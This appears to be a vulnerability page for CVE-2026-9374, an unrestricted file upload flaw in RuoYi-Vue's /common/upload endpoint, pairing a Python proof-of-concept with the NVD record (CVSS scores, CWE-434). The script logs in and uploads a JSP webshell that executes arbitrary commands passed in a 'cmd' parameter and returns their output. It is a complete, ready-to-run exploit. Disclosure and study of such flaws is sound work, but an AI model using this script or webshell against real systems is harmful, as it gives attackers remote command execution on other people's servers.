CVE-2026-9374

import requests import sys # CVE-2026-9374 PoC - RuoYi-Vue Unrestricted File Upload # Target: /common/upload endpoint def upload_webshell(target_url, username, password): """ Upload a JSP webshell to vulnerable RuoYi-Vue instance """ # Login to get session cookie login_url = f"{target_url}/login" login_data = { "username": username, "password": password } session = requests.Session() login_resp = session.post(login_url, json=login_data) if login_resp.status_code != 200: print(f"[-] Login failed") return None # JSP webshell content webshell = '''<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>''' # File upload request upload_url = f"{target_url}/common/upload" files = { "file": ("shell.jsp", webshell, "application/octet-stream") } try: upload_resp = session.post(upload_url, files=files) if upload_resp.status_code == 200: print(f"[+] Webshell uploaded successfully!") print(f"[+] Access: {upload_resp.text}") return True except Exception as e: print(f"[-] Upload failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_webshell(target, user, pwd)

{"cve": {"id": "CVE-2026-9374", "sourceIdentifier": "[email protected]", "published": "2026-05-24T11:16:34.320", "lastModified": "2026-05-26T19:54:40.357", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in yangzongzhuan RuoYi-Vue up to 3.9.2. Impacted is the function FileUploadUtils.upload of the file /common/upload of the component Common Upload Endpoint. Performing a manipulation results in unrestricted upload. The attack is possible to be carried out remotely. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://vuldb.com/submit/813252", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365338", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365338/cti", "source": "[email protected]"}]}}